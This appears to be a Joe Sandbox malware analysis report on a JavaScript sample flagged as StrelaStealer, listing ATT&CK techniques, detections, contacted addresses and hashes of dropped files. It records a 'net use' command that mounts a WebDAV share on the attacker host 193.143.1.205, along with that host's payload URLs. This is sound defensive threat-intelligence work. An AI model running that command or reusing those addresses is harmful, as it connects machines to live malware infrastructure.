Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
91263130946456752.js	11%	Virustotal		Browse
91263130946456752.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/6	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/V	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3368231127.000001FF41C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2181667750.000001FF419E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/6	net.exe, 00000007.00000003.2177774780.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182065221.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/V	net.exe, 00000007.00000003.2177774780.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182065221.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2181956047.00000117BB998000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2181956047.00000117BB998000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2177774780.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182065221.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2171363630.00000117BB9EC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/r	net.exe, 00000007.00000003.2177774780.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182065221.00000117BB9CB000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588942
Start date and time:	2025-01-11 07:27:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	91263130946456752.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.233.129.217, 52.6.155.20, 3.219.243.226, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.23.244.205, 2.16.168.107, 2.16.168.105, 95.101.148.135, 13.107.246.45, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:28:52	API Interceptor	31x Sleep call for process: powershell.exe modified
01:28:57	API Interceptor	1x Sleep call for process: net.exe modified
01:28:58	API Interceptor	2x Sleep call for process: svchost.exe modified
01:29:10	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1418132746179806359.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2449715899306403241.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	131612862076531181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26641100881772821841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32486157991878827956.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307221188439042
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugj:gJjJGtpTq2yv1AuNZRY3diu8iBVqFF
MD5:	8C5131AA8D502B8E4A352C092145719C
SHA1:	4457345A55CF9C00B9F4F6F668D8C772B750D080
SHA-256:	AEA939EA40A97D63B7777535E4D22745EB79BD22A78A37B2BE964E26070FEBA0
SHA-512:	999BD9FC5BF1C3AEF05F50AA1AB2F234E6820F7963B4DD60F1A040E22FC01792858414D75268EC0C84F7DD1F4AB8203C048AC135A9DF08445A6B3B310AEB93E2
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5534c4d3, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585800583134278
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	9028379A1594656ED2601BED06E9D9BD
SHA1:	82D8530AC37165AE141DE18C177DFD415B9F95F1
SHA-256:	73632053BF79F312676B8928701C9E998027E886472E64106CBDDDAF6E9BBA8A
SHA-512:	0DA3D4BA0F0DF6B67E666212C938FC9B0FABB4F586760AAC7390ADF93C598CA9C9728E2F1BDE8FB4B36658726780992D5EF055087E02A83D12F742C079AB70D6
Malicious:	false
Preview:	U4..... ...............X\...;...{......................0.z..........{..:....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................{$/.:....}E...................Y.:....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08120455348105929
Encrypted:	false
SSDEEP:	3:QEYeolvRGuAJkhvekl1FjlollrekGltll/SPj:fzyRrxlPCJe3l
MD5:	60E87622C98DBE9AF7F80E9A06EFBA67
SHA1:	64515A22FCB739CFDDFD81C2051FC1E153987FFF
SHA-256:	434DF827B0DE090A296777A8801FEB5BA1EA0FF3CF2CC38D68AFEEBFCDE86CB5
SHA-512:	E8B958C51688BEA74053FFD1C7A9ED643EAFC8A18A04E261DFE1F00E5CBAFE291B4E4C07ADF64B0BAE37BAB6033FD84028BB70BA7A955107512C95F06CBFD528
Malicious:	false
Preview:	<.s\.....................................;...{..:....}.......{...............{.......{...XL......{....................Y.:....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.187153678409225
Encrypted:	false
SSDEEP:	6:iOn/PcQjL+q2P92nKuAl9OmbnIFUtF/MV1Zmwr/MDLVkwO92nKuAl9OmbjLJ:7n/kQOv4HAahFUtF/U1/r/25LHAaSJ
MD5:	705B5141EC539996E3186E0117953D43
SHA1:	ECD1BBB2A1E1537CAB37B00BA94C4105E0B70E8E
SHA-256:	E2539F8DC303CB672B86C14BF7CE6761E9C8CC4D77F63BB16165812FBAEBAEA8
SHA-512:	C61FFB3EB2B50B89D5F12363919C6EDD1D6482422A02E8219393DD7F9CB2EEA64A604DD0667414475089A4E8395DFDD492274581679A3DFC2F32EEA9114B559B
Malicious:	false
Preview:	2025/01/11-01:28:57.959 1ee8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:28:57.961 1ee8 Recovering log #3.2025/01/11-01:28:57.961 1ee8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.187153678409225
Encrypted:	false
SSDEEP:	6:iOn/PcQjL+q2P92nKuAl9OmbnIFUtF/MV1Zmwr/MDLVkwO92nKuAl9OmbjLJ:7n/kQOv4HAahFUtF/U1/r/25LHAaSJ
MD5:	705B5141EC539996E3186E0117953D43
SHA1:	ECD1BBB2A1E1537CAB37B00BA94C4105E0B70E8E
SHA-256:	E2539F8DC303CB672B86C14BF7CE6761E9C8CC4D77F63BB16165812FBAEBAEA8
SHA-512:	C61FFB3EB2B50B89D5F12363919C6EDD1D6482422A02E8219393DD7F9CB2EEA64A604DD0667414475089A4E8395DFDD492274581679A3DFC2F32EEA9114B559B
Malicious:	false
Preview:	2025/01/11-01:28:57.959 1ee8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:28:57.961 1ee8 Recovering log #3.2025/01/11-01:28:57.961 1ee8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.131836984710108
Encrypted:	false
SSDEEP:	6:iOn/FSjFN+q2P92nKuAl9Ombzo2jMGIFUtF/FcDZmwr/FczVkwO92nKuAl9Ombzz:7n/FSj3+v4HAa8uFUtF/FG/r/FCV5LHA
MD5:	3B28B77140BF5BFB84436643282A14F1
SHA1:	CDD263E877D2F6EDC239CE9B63D0F7CFC48386D0
SHA-256:	5E09AA5A32A37431A13D3651AA56CC7DED5E18DA8C59B0D75C384FF212A611A9
SHA-512:	45C102CD7A7AA046B687F092F7A0F325B091721F0FCA76EB632205A0BE787805C5F0C9C1DB92287D9B5BC3805613EC7350C43296EA6CF688265ED41BBE219BCF
Malicious:	false
Preview:	2025/01/11-01:28:58.017 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:28:58.019 1fdc Recovering log #3.2025/01/11-01:28:58.019 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.131836984710108
Encrypted:	false
SSDEEP:	6:iOn/FSjFN+q2P92nKuAl9Ombzo2jMGIFUtF/FcDZmwr/FczVkwO92nKuAl9Ombzz:7n/FSj3+v4HAa8uFUtF/FG/r/FCV5LHA
MD5:	3B28B77140BF5BFB84436643282A14F1
SHA1:	CDD263E877D2F6EDC239CE9B63D0F7CFC48386D0
SHA-256:	5E09AA5A32A37431A13D3651AA56CC7DED5E18DA8C59B0D75C384FF212A611A9
SHA-512:	45C102CD7A7AA046B687F092F7A0F325B091721F0FCA76EB632205A0BE787805C5F0C9C1DB92287D9B5BC3805613EC7350C43296EA6CF688265ED41BBE219BCF
Malicious:	false
Preview:	2025/01/11-01:28:58.017 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:28:58.019 1fdc Recovering log #3.2025/01/11-01:28:58.019 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.053449887957996
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqFsBdOg2HvAcaq3QYiubxnP7E4T3OF+:Y2sRdsXdMHvr3QYhbxP7nbI+
MD5:	05E219BD5FCF6040C359EFEEBEF49C06
SHA1:	CDAF2447318D3F9E4D548478826C44CC03871CED
SHA-256:	FBE5C38B2C323ABF7AC983AF9CC154C718ED0F1C39E8C40C2C7A91B602A2248A
SHA-512:	1CA8575AFE1229DEDC66510BE470BE7A0A360A0D2CD5A80D7429C256AB07F01437018634A6B6FF1A2383C964E882940B613ADA6B60B0AAD48F2B2F5DC0EEAFD5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136943819300","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128742},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\dd2ec3ec-891b-4685-b0c0-bf2a562b891a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.053449887957996
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqFsBdOg2HvAcaq3QYiubxnP7E4T3OF+:Y2sRdsXdMHvr3QYhbxP7nbI+
MD5:	05E219BD5FCF6040C359EFEEBEF49C06
SHA1:	CDAF2447318D3F9E4D548478826C44CC03871CED
SHA-256:	FBE5C38B2C323ABF7AC983AF9CC154C718ED0F1C39E8C40C2C7A91B602A2248A
SHA-512:	1CA8575AFE1229DEDC66510BE470BE7A0A360A0D2CD5A80D7429C256AB07F01437018634A6B6FF1A2383C964E882940B613ADA6B60B0AAD48F2B2F5DC0EEAFD5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136943819300","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128742},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23971452615452
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUqUPhb:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLS
MD5:	AB83FA15B380092024F4B08B3C36800E
SHA1:	9809252D97D0AD59ED0A086DF42648E0ECCDD02E
SHA-256:	B0A957E1812DED343AEC93FA3981A853D40101379DF2B6B1DCD2CACAFAD5E91A
SHA-512:	8A897765443AA57533BC188A2596F0DE6125CE6D9BEA98BB69EF3FDCA937C3E0497737C64888B7287236BE5D4C73A9911C275373DBB8F5C922960DA93EBDED72
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.141882046095896
Encrypted:	false
SSDEEP:	6:iOn/jct+q2P92nKuAl9OmbzNMxIFUtF/3mZmwr/HNVkwO92nKuAl9OmbzNMFLJ:7n/G+v4HAa8jFUtF/2/r/HNV5LHAa84J
MD5:	FB053D60BDD14494F26B1273C92D46D5
SHA1:	5CE934D943376B85AF7D8CFDC1FCFB82766796F6
SHA-256:	AB353B7A34DA36CC3797FA4666648E6C1F3BA103DA5FE23827F925ADBAF9C0C5
SHA-512:	04F788C1DA107CF02E16C02013690470317D114944DBDE547D6FE0C540D50A657E2D3578717D5E885D3860CD99E8172318700CA24BEFF4492F318862272903D3
Malicious:	false
Preview:	2025/01/11-01:28:58.291 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:28:58.318 1fdc Recovering log #3.2025/01/11-01:28:58.320 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.141882046095896
Encrypted:	false
SSDEEP:	6:iOn/jct+q2P92nKuAl9OmbzNMxIFUtF/3mZmwr/HNVkwO92nKuAl9OmbzNMFLJ:7n/G+v4HAa8jFUtF/2/r/HNV5LHAa84J
MD5:	FB053D60BDD14494F26B1273C92D46D5
SHA1:	5CE934D943376B85AF7D8CFDC1FCFB82766796F6
SHA-256:	AB353B7A34DA36CC3797FA4666648E6C1F3BA103DA5FE23827F925ADBAF9C0C5
SHA-512:	04F788C1DA107CF02E16C02013690470317D114944DBDE547D6FE0C540D50A657E2D3578717D5E885D3860CD99E8172318700CA24BEFF4492F318862272903D3
Malicious:	false
Preview:	2025/01/11-01:28:58.291 1fdc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:28:58.318 1fdc Recovering log #3.2025/01/11-01:28:58.320 1fdc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFklBimttfllXlE/HT8k12lzXNNX8RolJuRdxLlGB9lQRYwpDdt:kKmteT882lzdNMa8RdWBwRd
MD5:	EE46E35522AFFA6B468EF8A8D4CD9279
SHA1:	502C4AC84D2D332B7961209E89C4D889CBA06C6A
SHA-256:	63F027EEB3DC74E7CD880C09F0200B835C9287AB426698EE98B5D0C8B62FF190
SHA-512:	1ED432FAF7B6B315C152B8A1FDE688078C57CD85122D47C36BC4C0D3215D9DDD50C3EE7ACE7B9D902106831D4E290F77534DFAADF911676D96D510DD659B7A16
Malicious:	false
Preview:	p...... .........a...c..(....................................................... ..........W.....W..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
